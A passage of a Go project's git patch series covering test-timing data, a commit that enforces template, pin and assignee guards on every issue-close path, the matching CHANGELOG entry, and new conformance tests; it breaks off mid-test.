60.23, + "TestProxiedServerLabelC": 105.9, + "TestProxiedServerLink": 26.12, + "TestProxiedServerLint": 2.66, + "TestProxiedServerList": 35.23, + "TestProxiedServerListComments": 0.81, + "TestProxiedServerListSortRetiresTheWalk": 0.08, + "TestProxiedServerListWatchCountsTheOffsetIntoMaxRows": 0.44, + "TestProxiedServerMemory": 26.25, + "TestProxiedServerMolBond": 72.46, + "TestProxiedServerMolBurn": 29.07, + "TestProxiedServerMolCurrent": 89.43, + "TestProxiedServerMolDistill": 23.19, + "TestProxiedServerMolLastActivity": 35.41, + "TestProxiedServerMolProgress": 34.63, + "TestProxiedServerMolReadyGated": 93.82, + "TestProxiedServerMolShow": 24.26, + "TestProxiedServerMolSquash": 45.59, + "TestProxiedServerMolStale": 36.09, + "TestProxiedServerMoleculeFrontDoorDirectServerProxyParity": 1.62, + "TestProxiedServerMoleculeFrontDoorWriteParity": 23.11, + "TestProxiedServerMultiStatementSQL": 5.6, + "TestProxiedServerNote": 9.88, + "TestProxiedServerOrphans": 1.81, + "TestProxiedServerOutageReconnectAcceptanceMatrix": 36.12, "TestProxiedServerPathHelpers": 0.0, - "TestProxiedServerPing": 0.76, - "TestProxiedServerPour": 90.63, - "TestProxiedServerPourRejectsEnumViolatingVar": 16.32, - "TestProxiedServerPrime": 120.62, - "TestProxiedServerPriority": 29.69, - "TestProxiedServerPromote": 137.81, - "TestProxiedServerPrune": 229.41, - "TestProxiedServerPurgeWispsPlaneRetention": 27.89, - "TestProxiedServerQuery": 32.83, - "TestProxiedServerQuick": 32.66, - "TestProxiedServerReady": 237.31, - "TestProxiedServerReady2": 159.52, - "TestProxiedServerReadyB": 279.25, - "TestProxiedServerReadyC": 232.74, - "TestProxiedServerReadyClaimConcurrent": 21.86, - "TestProxiedServerReadyConcurrent": 14.36, - "TestProxiedServerReadyWisp": 315.55, - "TestProxiedServerReassignFence": 92.12, - "TestProxiedServerReclaim": 1.41, - "TestProxiedServerRecomputeBlocked": 69.58, - "TestProxiedServerRelate": 174.16, - "TestProxiedServerReopen": 317.88, - "TestProxiedServerReopenB": 283.24, - "TestProxiedServerReopenConcurrent": 100.49, - "TestProxiedServerSQL": 4.56, - "TestProxiedServerSQLDatabaseFlag": 14.98, - "TestProxiedServerSQLStatementRouting": 2.61, - "TestProxiedServerSearch": 79.86, - "TestProxiedServerServeActivatesTheEventsJournal": 10.7, - "TestProxiedServerServeAddComment": 3.85, - "TestProxiedServerServeAddDependencies": 7.7, - "TestProxiedServerServeBatchClose": 14.42, - "TestProxiedServerServeClaim": 13.9, - "TestProxiedServerServeClaimNext": 12.27, - "TestProxiedServerServeClose": 21.8, - "TestProxiedServerServeCount": 15.2, - "TestProxiedServerServeCreate": 2.62, - "TestProxiedServerServeDelete": 5.64, - "TestProxiedServerServeEdgeCounts": 15.27, - "TestProxiedServerServeLifecycle": 0.03, - "TestProxiedServerServeModeGate": 23.75, - "TestProxiedServerServeReadParity": 6.26, - "TestProxiedServerServeReadRevision": 3.59, - "TestProxiedServerServeReadsTheJournalItJustWrote": 14.23, - "TestProxiedServerServeRefusesAStaleCheckpointWithGone": 14.62, - "TestProxiedServerServeRefusesAStreamOnADisabledJournal": 14.96, - "TestProxiedServerServeRefusesTheJournalWhenItIsDisabled": 13.62, - "TestProxiedServerServeRelatedIssues": 14.9, - "TestProxiedServerServeRelease": 4.5, - "TestProxiedServerServeRemoveDependency": 5.12, - "TestProxiedServerServeSettingsWrites": 5.08, - "TestProxiedServerServeStreamsTheJournalItIsWriting": 21.99, - "TestProxiedServerServeUpdate": 14.38, - "TestProxiedServerServeUpdateClaim": 4.97, - "TestProxiedServerSetState": 14.99, - "TestProxiedServerShow": 246.84, - "TestProxiedServerShow2": 304.16, - "TestProxiedServerShow2B": 302.98, - "TestProxiedServerShow3": 276.05, - "TestProxiedServerShow3B": 261.07, - "TestProxiedServerShowB": 297.04, - "TestProxiedServerShowWatch": 164.7, - "TestProxiedServerStale": 6.27, - "TestProxiedServerState": 189.5, - "TestProxiedServerStatus": 40.45, - "TestProxiedServerStatuses": 2.26, - "TestProxiedServerStorageClass": 337.81, - "TestProxiedServerSwarm": 8.38, - "TestProxiedServerTag": 55.84, - "TestProxiedServerTodo": 96.61, - "TestProxiedServerTypes": 4.25, - "TestProxiedServerTypesAgreeWithCreate": 37.25, - "TestProxiedServerUnclaim": 16.93, - "TestProxiedServerUnclaimIfAssigneeParity": 35.25, - "TestProxiedServerUpdate": 306.84, - "TestProxiedServerUpdate2": 285.3, - "TestProxiedServerUpdate2B": 321.6, - "TestProxiedServerUpdate2C": 247.7, - "TestProxiedServerUpdate3": 375.23, - "TestProxiedServerUpdateB": 265.81, - "TestProxiedServerUpdateC": 265.62, - "TestProxiedServerUpdateClosePolicy": 82.95, - "TestProxiedServerUpdateConcurrentAppendNotes": 7.13, - "TestProxiedServerUpdateConcurrentClaim": 12.38, - "TestProxiedServerUpdateConcurrentMetadata": 11.36, - "TestProxiedServerUpdateHooks": 52.36, - "TestProxiedServerUpdateIfGuards": 83.41, - "TestProxiedServerUpdateWisp": 268.08, - "TestProxiedServerWispCreate": 78.86, - "TestProxiedServerWispCreateRejectsEnumViolatingVar": 13.68, - "TestProxiedServerWispGC": 164.43, - "TestProxiedServerWispList": 65.42, - "TestServerModeDeferAutoWake": 11.69, - "TestServerModeServe": 0.04, - "TestServerModeServeSkipsPostRunMaintenance": 13.74, - "TestServerModeSharedServeGlobalReportsTheServedDatabase": 34.13, - "TestServerModeTypesAgreeWithCreate": 36.55 + "TestProxiedServerPing": 0.27, + "TestProxiedServerPour": 42.98, + "TestProxiedServerPourRejectsEnumViolatingVar": 10.18, + "TestProxiedServerPrime": 49.46, + "TestProxiedServerPriority": 8.17, + "TestProxiedServerPromote": 24.66, + "TestProxiedServerPrune": 56.2, + "TestProxiedServerPurgeWispsPlaneRetention": 20.91, + "TestProxiedServerQuery": 9.29, + "TestProxiedServerQuick": 21.8, + "TestProxiedServerReady": 96.02, + "TestProxiedServerReady2": 61.85, + "TestProxiedServerReadyB": 43.87, + "TestProxiedServerReadyC": 74.0, + "TestProxiedServerReadyClaimConcurrent": 7.96, + "TestProxiedServerReadyConcurrent": 9.66, + "TestProxiedServerReadyWisp": 95.28, + "TestProxiedServerReassignFence": 31.82, + "TestProxiedServerReclaim": 0.52, + "TestProxiedServerRecomputeBlocked": 56.46, + "TestProxiedServerRelate": 70.72, + "TestProxiedServerReopen": 66.48, + "TestProxiedServerReopenB": 59.36, + "TestProxiedServerReopenConcurrent": 48.76, + "TestProxiedServerSQL": 2.47, + "TestProxiedServerSQLDatabaseFlag": 13.98, + "TestProxiedServerSQLStatementRouting": 1.43, + "TestProxiedServerSearch": 33.73, + "TestProxiedServerServeActivatesTheEventsJournal": 9.88, + "TestProxiedServerServeAddComment": 1.6, + "TestProxiedServerServeAddDependencies": 5.68, + "TestProxiedServerServeBatchClose": 4.48, + "TestProxiedServerServeClaim": 5.07, + "TestProxiedServerServeClaimNext": 9.38, + "TestProxiedServerServeClose": 13.13, + "TestProxiedServerServeCount": 7.19, + "TestProxiedServerServeCreate": 1.13, + "TestProxiedServerServeDelete": 3.95, + "TestProxiedServerServeEdgeCounts": 10.32, + "TestProxiedServerServeLifecycle": 0.05, + "TestProxiedServerServeModeGate": 23.65, + "TestProxiedServerServeReadParity": 3.51, + "TestProxiedServerServeReadRevision": 3.24, + "TestProxiedServerServeReadsTheJournalItJustWrote": 16.7, + "TestProxiedServerServeRefusesAStaleCheckpointWithGone": 16.72, + "TestProxiedServerServeRefusesAStreamOnADisabledJournal": 7.45, + "TestProxiedServerServeRefusesTheJournalWhenItIsDisabled": 12.84, + "TestProxiedServerServeRelatedIssues": 7.45, + "TestProxiedServerServeRelease": 1.96, + "TestProxiedServerServeRemoveDependency": 3.87, + "TestProxiedServerServeSettingsWrites": 1.94, + "TestProxiedServerServeStreamsTheJournalItIsWriting": 24.92, + "TestProxiedServerServeUpdate": 7.19, + "TestProxiedServerServeUpdateClaim": 5.33, + "TestProxiedServerSetState": 4.87, + "TestProxiedServerShow": 77.15, + "TestProxiedServerShow2": 110.3, + "TestProxiedServerShow2B": 88.13, + "TestProxiedServerShow3": 53.11, + "TestProxiedServerShow3B": 77.05, + "TestProxiedServerShowB": 59.27, + "TestProxiedServerShowWatch": 58.3, + "TestProxiedServerStale": 3.77, + "TestProxiedServerState": 74.91, + "TestProxiedServerStatus": 7.78, + "TestProxiedServerStatuses": 1.42, + "TestProxiedServerStorageClass": 72.09, + "TestProxiedServerSwarm": 4.54, + "TestProxiedServerTag": 24.55, + "TestProxiedServerTodo": 24.62, + "TestProxiedServerTypes": 2.06, + "TestProxiedServerTypesAgreeWithCreate": 16.18, + "TestProxiedServerUnclaim": 6.9, + "TestProxiedServerUnclaimIfAssigneeParity": 23.02, + "TestProxiedServerUpdate": 99.24, + "TestProxiedServerUpdate2": 66.73, + "TestProxiedServerUpdate2B": 106.27, + "TestProxiedServerUpdate2C": 27.48, + "TestProxiedServerUpdate3": 108.59, + "TestProxiedServerUpdateB": 84.72, + "TestProxiedServerUpdateC": 118.83, + "TestProxiedServerUpdateClosePolicy": 34.08, + "TestProxiedServerUpdateConcurrentAppendNotes": 6.24, + "TestProxiedServerUpdateConcurrentClaim": 9.59, + "TestProxiedServerUpdateConcurrentMetadata": 8.05, + "TestProxiedServerUpdateHooks": 24.63, + "TestProxiedServerUpdateIfGuards": 31.82, + "TestProxiedServerUpdateWisp": 81.79, + "TestProxiedServerWispCreate": 33.64, + "TestProxiedServerWispCreateRejectsEnumViolatingVar": 10.52, + "TestProxiedServerWispGC": 56.11, + "TestProxiedServerWispList": 36.71, + "TestServerModeDeferAutoWake": 8.1, + "TestServerModeServe": 0.03, + "TestServerModeServeSkipsPostRunMaintenance": 20.92, + "TestServerModeSharedServeGlobalReportsTheServedDatabase": 21.54, + "TestServerModeTypesAgreeWithCreate": 17.63 } } diff --git a/scripts/shard_manifest_test.go b/scripts/shard_manifest_test.go index 9d1867f6b..c0c61c9aa 100644 --- a/scripts/shard_manifest_test.go +++ b/scripts/shard_manifest_test.go @@ -220,7 +220,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { } } -// S3: the Bazel-only 44-shard block is not frozen like the legacy 15-shard +// S3: the Bazel-only 34-shard block is not frozen like the legacy 15-shard // block (TestShardScriptsListOnlyRealTests's B1 fix catches outright // corruption, but not a committed block that has drifted from the currently // discovered TestProxiedServer*/TestServerMode* test set, e.g. a test added, From 6d27a4f96e7fb74e2db516d7be9c80475f59dbef Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 18:30:42 +0000 Subject: [PATCH 081/213] fix(issueops): enforce the close guards on every close leg (#7425) * fix(issueops): enforce the close guards on every close leg The template read-only guard, the pin guard and the assignee authority fence (be-035) lived only in cmd/bd (validateIssueClosable), so a close through bd serve, issues:batchClose, a batch:apply close item or a library caller of Lifecycle.Close / BatchCloser / BatchApplier closed what bd close refused. They now run inside the close's own transaction in CloseIssueCheckedInTx (enforceCloseGuardsInTx), the body every checked close shares (dolt, embedded, uow, and the server behind httpapi), for a target that is not already closed: - a template refuses with *issueops.TemplateReadOnlyError (no bypass); - unless Force (CloseRequest, CloseBatchRequest, CloseItem) is set, a pinned issue refuses with *issueops.PinnedError and another actor's bead with *issueops.CloseNotAssigneeError (matches ErrNotOwner). Wire: 409 template_read_only, issue_pinned and not_assignee (holder in `assignee`, also on a batch-close outcome); the client rebuilds the typed errors. The decision is one exported pure rule over the pre-image, issueops.CheckClosable (internal/storage/issueops), which the in-tx guard calls; bd close's direct and proxied preflights call it too, ahead of gate satisfaction under the same already-closed skip, so bd close output, refusal order and exit codes are unchanged (validateIssueClosable is gone). bd close --if-revision now applies the guards too. Conformance: RunLifecycleCloseEnforcesTheCloseGuards, RunBatchCloserItemsAnswerToTheCloseGuards and RunBatchApplyCloseItemsAnswerToTheCloseGuards on dolt, embedded, uow and http, plus handler mapping tests, a CheckClosable table test, and a cmd/bd test pinning that the guards outrank gate satisfaction. Co-Authored-By: Claude Opus 5.5 * fix(httpclient): send force on the raw close; scope the close guards Review fixes for #7425 (adopt-pr bd-0h0ao4, iterations 1 and 2). The raw close keeps parity over http. httpclient.Store.CloseIssue maps the off-role raw close onto the role's closeIssue op and sent force=false. With the guards in the role, a pinned or claimed target then refused (409 issue_pinned / not_assignee) on http only: dolt, embedded and proxied run the raw close as issueops.CloseIssueInTx, which applies neither the guards nor close policy. The molecule auto-close, `bd gate resolve`, `bd todo done` and `bd human dismiss` all make that call, and its signature carries no force a caller could pass. It now sends force. Over http that also stops applying close policy to the raw close, which it did at base and no other backend does; parity is the point, so that goes too. The template guard has no bypass on the wire, so a template still refuses the raw close over http where the other backends close it; no raw caller is known to close one. TestServedRawCloseKeepsParityWithTheOtherBackends closes both pin spellings, a held bead and a parent with an open child through Store.CloseIssue and requires the template refusal; with force back to false it fails on 409 issue_pinned. The close guards stay on the close verbs. A status update that crosses into the done category (`bd update -s closed`, PATCH, a batchApply update item) still answers to close policy only, so it closes a pinned issue or another actor's bead on every backend, as it did before this PR. Guarding it changes what the update legs admit and needs its own refusal mapping on PATCH and batchApply, so it is left for a follow-up; the update.go and domain/db comments now say the exclusion is deliberate. CHANGELOG: the entry moves from Fixed to Changed as BREAKING, is scoped to the close operations, names the two paths the guards do not cover, and adds a Migration line (send force or reclaim; templates are never closable). Docs: the OpBatchCloseIssues item codes, the CloseIssueChecked and CloseIssueOptions.Force docs (storage, dolt, embeddeddolt), the oracle-a scenario strings that named the retired validateIssueClosable, and the TestCloseCheckOne_CloseGuardsOutrankGateSatisfaction doc, which claimed a proxied route it does not drive. Iteration 2: the wire contract says what force waives. The OpenAPI `force` members of CloseIssueRequest, BatchCloseRequest and ApplyCloseItem said force bypasses close policy "and nothing else"; it also waives the pin and the assignee guard, and never the template guard. The batchClose "only two answers" paragraph now says the same, and types.gen.go is regenerated (`make api-gen`). "Close guards" names the close operations instead of "every route to a close" and adds that a status update into the done category is not one, and the PATCH done-crossing paragraph says a patch is never refused `issue_pinned` or `not_assignee`. The conformance comments that quoted the old Force sentence (batch_apply_contract.go, batch_closer_contract.go, lifecycle_close_reopen_contract.go) quote the current docs, and the batch_apply failure message no longer says Force does nothing else. CHANGELOG: a `close` line of `bd batch` is named among the raw closes, and "a template is never closable" becomes "the close operations never close a template, forced or not". The storage interface CloseIssue gains a doc that states its HTTP exception. TestCloseGuardRefusalsPrintTheGuardSentenceOnEveryRoute pins the sentence `bd close` prints for each guard (template, pin, assignee) through each printer (closeDirectRefusal, closeDirectTypedRefusal, closeProxiedRefusal, closeProxiedTypedRefusal), with the refusal bare, wrapped by the use case and the SQL repository, or inside a served problem envelope. One pinned refusal also goes through closeProxiedOutcomes and closeProxiedFailures, where the stderr line and the `--json` error field must both be the sentence. Six overlay mutants fail it: closeGuardRefusal recognizing no guard, or not the pin, and each of the four printers skipping its call to closeGuardRefusal. Not done here: a CLI test that `--if-revision` exits 1 on a guard refusal, not ExitGuardMismatch. External PR #7372 carries per-id fence tests for that route (6 of 7 pass at this head); they are better absorbed with credit than rewritten. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- .../scripts/embedded-storage-test-shards.txt | 1 + CHANGELOG.md | 28 +++ backend/conformance/batch_apply_contract.go | 104 +++++++++- backend/conformance/batch_closer_contract.go | 100 ++++++++- .../lifecycle_close_reopen_contract.go | 196 +++++++++++++++++- backend/conformance/role_bundle_cases.go | 3 + cmd/bd/close.go | 2 +- cmd/bd/close_direct.go | 76 +++++-- cmd/bd/close_failure_report_test.go | 106 ++++++++++ cmd/bd/close_gate_test.go | 80 +++++++ cmd/bd/close_proxied_server.go | 18 +- cmd/bd/show_unit_helpers.go | 16 -- cmd/bd/show_unit_helpers_test.go | 59 ------ internal/httpapi/BUILD.bazel | 1 + internal/httpapi/apigen/types.gen.go | 15 +- internal/httpapi/batch_apply.go | 7 +- internal/httpapi/batch_close.go | 11 + internal/httpapi/close_guards_test.go | 163 +++++++++++++++ internal/httpapi/problem.go | 55 ++++- internal/httpapi/spec/openapi.v0.yaml | 111 +++++++--- .../httpapi/wireshape/testdata/golden.json | 6 + internal/httpclient/batchcloser.go | 34 ++- internal/httpclient/lifecycle.go | 18 +- .../httpclient/served_batch_apply_test.go | 4 + .../httpclient/served_batch_close_test.go | 7 + .../httpclient/served_claim_lifecycle_test.go | 69 ++++++ internal/httpclient/wire/client.go | 6 +- internal/httpclient/wire/problem.go | 17 +- internal/httpclient/wire/writes.go | 4 +- .../storage/dolt/batch_apply_contract_test.go | 5 + .../dolt/batch_closer_contract_test.go | 6 + internal/storage/dolt/issues.go | 6 +- .../lifecycle_close_reopen_contract_test.go | 3 + internal/storage/domain/db/issue.go | 8 +- .../embeddeddolt/batch_apply_contract_test.go | 3 + .../batch_closer_contract_test.go | 6 + internal/storage/embeddeddolt/issues.go | 6 +- .../lifecycle_close_reopen_contract_test.go | 3 + internal/storage/issueops/BUILD.bazel | 2 + internal/storage/issueops/close.go | 14 ++ internal/storage/issueops/close_guard.go | 112 ++++++++++ internal/storage/issueops/close_guard_test.go | 55 +++++ internal/storage/issueops/update.go | 15 +- internal/storage/storage.go | 18 +- .../storage/uow/batch_apply_contract_test.go | 3 + .../storage/uow/batch_closer_contract_test.go | 1 + .../lifecycle_close_reopen_contract_test.go | 3 + internal/validation/issue.go | 4 +- issueops/batchapplier.go | 3 +- issueops/batchcloser.go | 12 +- issueops/errors.go | 45 ++++ issueops/issueops.go | 20 +- issueops/template_errors.go | 5 +- .../harness/scenarios/enumerated.json | 4 +- 54 files changed, 1464 insertions(+), 215 deletions(-) create mode 100644 internal/httpapi/close_guards_test.go create mode 100644 internal/storage/issueops/close_guard.go create mode 100644 internal/storage/issueops/close_guard_test.go diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index da78fa452..0b2f4d259 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -417,6 +417,7 @@ 20 15 TestCreateBatchFastPathsMatchPerRowLarge_Embedded 20 15 TestDoltCommitResponseLossIsIndeterminate 20 15 TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing +20 15 TestEmbeddedBatchCloserItemsAnswerToTheCloseGuards 20 15 TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest 20 15 TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop 20 15 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy diff --git a/CHANGELOG.md b/CHANGELOG.md index 77b8fc52d..230391fdc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -202,6 +202,34 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 amendment to a released migration must land as a new migration (0070+, or ignored 0028+, as of this change) so installed schemas and freshly-migrated ones cannot fork. +- **BREAKING: the close guards now hold for every close operation, not only + `bd close`.** The template read-only guard, the pin guard and the assignee + authority fence (be-035) used to be a pre-read in `cmd/bd`, so a close + through `bd serve` (`POST /v0/beads/issues/{id}:close`), `issues:batchClose`, + a `close` item of `issues:batchApply`, or a library caller of + `issueops.Lifecycle.Close`, `BatchCloser` or `BatchApplier` closed a + template, a pinned issue, or a bead another actor holds that `bd close` + refused. They now live in the role, inside the close's own transaction, on + every backend: a template refuses with `*issueops.TemplateReadOnlyError` (no + bypass), and unless `Force` is set a pinned issue refuses with + `*issueops.PinnedError` and another actor's bead with + `*issueops.CloseNotAssigneeError` (matching `ErrNotOwner`). Over HTTP they + are `409` `template_read_only`, `issue_pinned` and `not_assignee` (the + holder in `assignee`, also on a batch-close outcome), and the client + rebuilds the same typed errors. `bd close` prints the same lines and exits + as before, and `bd close --if-revision`, which skipped the guards, now + applies them too. Two paths stay outside the guards. The raw storage + `CloseIssue`, which the molecule auto-close, a `close` line of `bd batch` + and the other closes `cmd/bd` makes outside `bd close` use, runs neither the + guards nor close policy on dolt, embedded or proxied; over HTTP it now sends + `force`, so there it also stops applying close policy, and only a template + refuses. A status update into the done category (`bd update -s closed`, a + `PATCH` whose `status` is done, an `update` item of `issues:batchApply`) + answers to close policy only, as before, so it still closes a pinned issue + or another actor's bead. Migration: HTTP and library callers that close + pinned issues or beads another actor holds must send `force` (`Force` on the + request), or reclaim the bead first; the close operations never close a + template, forced or not (pour it instead). ### Fixed - **An update of a template is now refused for every caller, not only diff --git a/backend/conformance/batch_apply_contract.go b/backend/conformance/batch_apply_contract.go index 6da619b21..c2ac269d9 100644 --- a/backend/conformance/batch_apply_contract.go +++ b/backend/conformance/batch_apply_contract.go @@ -882,9 +882,12 @@ func RunBatchApplyEvaluatesExpectedAssigneeAsModified(t *testing.T, ctx context. // close it. The refusal is the assertion; the rollback of the parent it created // is what says the refusal took the request with it. // -// POSITIVE HALF: the identical request with Force lands, which is the whole of -// what Force does ("bypasses blocker and open-child close policy, and nothing -// else") and the proof that the refusal was the policy rather than the shape. +// POSITIVE HALF: the identical request with Force lands, and that is the proof +// the refusal was the policy rather than the shape. Force "bypasses blocker and +// open-child close policy, the pin and the assignee fence, and never the +// template guard" (batchapplier.go), and the parent trips no guard — the +// unforced half reached the policy, which the guards run before — so the +// policy is the only refusal Force had to waive. func RunBatchApplyClosePolicyEvaluatesAtTheCloseItem(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { t.Helper() parent := fixture.IssuePrefix + "-closepolicy-parent" @@ -924,7 +927,7 @@ func RunBatchApplyClosePolicyEvaluatesAtTheCloseItem(t *testing.T, ctx context.C t.Errorf("%s status = %q under Force, want %q", parent, got, types.StatusClosed) } if got := batchApplyColumn(t, ctx, fixture, "status", child); got != string(types.StatusOpen) { - t.Errorf("%s status = %q, want %q: Force bypasses the close policy and nothing else", child, got, types.StatusOpen) + t.Errorf("%s status = %q, want %q: Force waives the parent's close policy, it does not close the child", child, got, types.StatusOpen) } assertBatchApplyTypedEdgeCount(t, ctx, fixture, child, parent, string(publicops.DepParentChild), 1) } @@ -2561,3 +2564,96 @@ func RunBatchApplySplicesTheMetadataOfATemplateItCreates(t *testing.T, ctx conte t.Errorf("%s carries no gc.self key: the splice that finishes a template's own create must land", created) } } + +// RunBatchApplyCloseItemsAnswerToTheCloseGuards pins that a close item answers +// to the close guards Lifecycle.Close states, under CloseRequest's rules: a +// template refuses forced or not, a pin and another actor's bead refuse unless +// the item's Force is set. A refusal is the item's *ItemError carrying the +// guard's typed error, and the request is all or nothing, so the create item +// ahead of it does not land. +// +// The assignee case is AS-MODIFIED: the holder is set by an update item of the +// same request, so a guard that read the row before the request began — or not +// at all — closes it. +func RunBatchApplyCloseItemsAnswerToTheCloseGuards(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + template := fixture.IssuePrefix + "-closeguard-template" + pinned := fixture.IssuePrefix + "-closeguard-pinned" + held := fixture.IssuePrefix + "-closeguard-held" + bystander := fixture.IssuePrefix + "-closeguard-bystander" + for _, issue := range []*types.Issue{ + {ID: template, IsTemplate: true}, + {ID: pinned, Pinned: true}, + {ID: held}, + } { + issue.Title, issue.Status, issue.Priority, issue.IssueType = issue.ID, types.StatusOpen, 2, types.TypeTask + if err := fixture.CreateIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + + plan := func(target string, force bool, extra ...publicops.ApplyItem) publicops.ApplyBatchRequest { + closeItem := batchApplyClose(publicops.Ref{ID: target}) + closeItem.Close.Force = force + items := []publicops.ApplyItem{batchApplyCreate("bystander", batchApplyIssue(bystander, "must not land beside a refusal"))} + items = append(items, extra...) + return publicops.ApplyBatchRequest{Actor: "apply-closer", ForceIDPrefix: true, Items: append(items, closeItem)} + } + refused := func(label string, request publicops.ApplyBatchRequest, check func(error)) { + t.Helper() + _, err := fixture.BatchApplier.ApplyBatch(ctx, request) + var itemErr *publicops.ItemError + if !errors.As(err, &itemErr) { + t.Fatalf("%s: error = %v, want an *ItemError", label, err) + } + if itemErr.Kind != publicops.ItemClose || itemErr.Index != len(request.Items)-1 { + t.Errorf("%s: ItemError = %#v, want the close item at index %d", label, itemErr, len(request.Items)-1) + } + check(err) + assertBatchApplyRowCount(t, ctx, fixture, "issues", bystander, 0) + } + + for _, force := range []bool{false, true} { + refused("template close item", plan(template, force), func(err error) { + var refusal *publicops.TemplateReadOnlyError + if !errors.As(err, &refusal) || refusal.IssueID != template { + t.Errorf("template close item (force=%v) = %v, want *TemplateReadOnlyError naming %s", force, err, template) + } + }) + } + refused("pinned close item", plan(pinned, false), func(err error) { + var refusal *publicops.PinnedError + if !errors.As(err, &refusal) || refusal.IssueID != pinned { + t.Errorf("pinned close item = %v, want *PinnedError naming %s", err, pinned) + } + }) + assign := batchApplyUpdate(publicops.Ref{ID: held}, publicops.IssuePatch{Assignee: publicops.Field[string]{Set: true, Value: "holder"}}) + refused("held close item", plan(held, false, assign), func(err error) { + var refusal *publicops.CloseNotAssigneeError + if !errors.As(err, &refusal) { + t.Errorf("close item on a bead an earlier item assigned away = %v, want *CloseNotAssigneeError", err) + return + } + if refusal.IssueID != held || refusal.Assignee != "holder" || refusal.Actor != "apply-closer" { + t.Errorf("assignee refusal = %#v, want IssueID %q, Assignee holder, Actor apply-closer", refusal, held) + } + }) + for _, id := range []string{template, pinned, held} { + if got := batchApplyColumn(t, ctx, fixture, "status", id); got != string(types.StatusOpen) { + t.Errorf("%s status after the refusals = %q, want it still open", id, got) + } + } + + // The item's Force waives the pin and the assignee fence. + forcedPin := plan(pinned, true) + forcedPin.Items = forcedPin.Items[1:] + batchApplyMust(t, ctx, fixture, forcedPin) + forcedHeld := plan(held, true, assign) + forcedHeld.Items = forcedHeld.Items[1:] + batchApplyMust(t, ctx, fixture, forcedHeld) + for _, id := range []string{pinned, held} { + if got := batchApplyColumn(t, ctx, fixture, "status", id); got != string(types.StatusClosed) { + t.Errorf("%s status under the item's Force = %q, want %q", id, got, types.StatusClosed) + } + } +} diff --git a/backend/conformance/batch_closer_contract.go b/backend/conformance/batch_closer_contract.go index fde364126..a62b7a667 100644 --- a/backend/conformance/batch_closer_contract.go +++ b/backend/conformance/batch_closer_contract.go @@ -39,9 +39,10 @@ import ( // still reports OpenChildren (batchcloser.go:81-86); a duplicated id is one // of those at its own index, and the first occurrence's reason is what the // row keeps (batchcloser.go:28-33). -// - Force is request-wide and bypasses only blocker and open-child policy; -// the per-item precondition its clause also names is a category the request -// type keeps EMPTY (batchcloser.go:43-53). +// - Force is request-wide and bypasses blocker and open-child policy, the +// pin and the assignee fence, never the template guard; the per-item +// precondition its clause also names is a category the request type keeps +// EMPTY (batchcloser.go:43-55). // - ClaimNext runs after the closes, inside the same transaction, and only // when at least one item closed (batchcloser.go:55-70, 100-103, 143-146). // - LANDED means CHANGED: an all-idempotent batch earns no claim and records @@ -1397,3 +1398,96 @@ func requireBatchCloserWisps(t *testing.T, fixture BatchCloserFixture) { t.Skipf("fixture has no CreateWisp: this backend cannot seed the ephemeral plane, so the ephemeral rules are UNPINNED here") } } + +// RunBatchCloserItemsAnswerToTheCloseGuards pins that every item of a batch +// answers to the close guards Lifecycle.Close states — template, pin, assignee +// — as a PER-ITEM refusal carrying the same typed error, while the survivors +// still commit; and that the request-wide Force waives the pin and the +// assignee fence and never the template. +// +// The guarded items sit between two plain ones, so an implementation that +// aborted the batch on a guard, or skipped the guard for items after the +// first, fails here rather than in `bd close a b c`. +func RunBatchCloserItemsAnswerToTheCloseGuards(t *testing.T, ctx context.Context, fixture BatchCloserFixture) { + t.Helper() + first := fixture.IssuePrefix + "-guard-first" + template := fixture.IssuePrefix + "-guard-template" + pinned := fixture.IssuePrefix + "-guard-pinned" + held := fixture.IssuePrefix + "-guard-held" + last := fixture.IssuePrefix + "-guard-last" + seedBatchCloserIssue(t, ctx, fixture, first) + seedBatchCloserIssue(t, ctx, fixture, last) + for _, issue := range []*types.Issue{ + {ID: template, IsTemplate: true}, + {ID: pinned, Status: types.StatusPinned}, + {ID: held, Assignee: "holder"}, + } { + issue.Title, issue.Priority, issue.IssueType = issue.ID, 2, types.TypeTask + if issue.Status == "" { + issue.Status = types.StatusOpen + } + if err := fixture.CreateIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + + result, err := fixture.Closer.CloseBatch(ctx, publicops.CloseBatchRequest{ + Actor: "closer", + Items: []publicops.BatchCloseItem{{IssueID: first}, {IssueID: template}, {IssueID: pinned}, {IssueID: held}, {IssueID: last}}, + }) + if err != nil { + t.Fatalf("CloseBatch over guarded items: %v, want per-item refusals", err) + } + if len(result.Outcomes) != 5 { + t.Fatalf("outcomes = %d, want 5", len(result.Outcomes)) + } + for _, i := range []int{0, 4} { + if result.Outcomes[i].Err != nil || !result.Outcomes[i].Changed { + t.Errorf("outcome %d (%s) = %+v, want the plain item to land", i, result.Outcomes[i].IssueID, result.Outcomes[i]) + } + } + var templateRefusal *publicops.TemplateReadOnlyError + if !errors.As(result.Outcomes[1].Err, &templateRefusal) || templateRefusal.IssueID != template { + t.Errorf("template item = %v, want *TemplateReadOnlyError naming %s", result.Outcomes[1].Err, template) + } + var pinRefusal *publicops.PinnedError + if !errors.As(result.Outcomes[2].Err, &pinRefusal) || pinRefusal.IssueID != pinned { + t.Errorf("pinned item = %v, want *PinnedError naming %s", result.Outcomes[2].Err, pinned) + } + var assigneeRefusal *publicops.CloseNotAssigneeError + if !errors.As(result.Outcomes[3].Err, &assigneeRefusal) { + t.Errorf("held item = %v, want *CloseNotAssigneeError", result.Outcomes[3].Err) + } else if assigneeRefusal.IssueID != 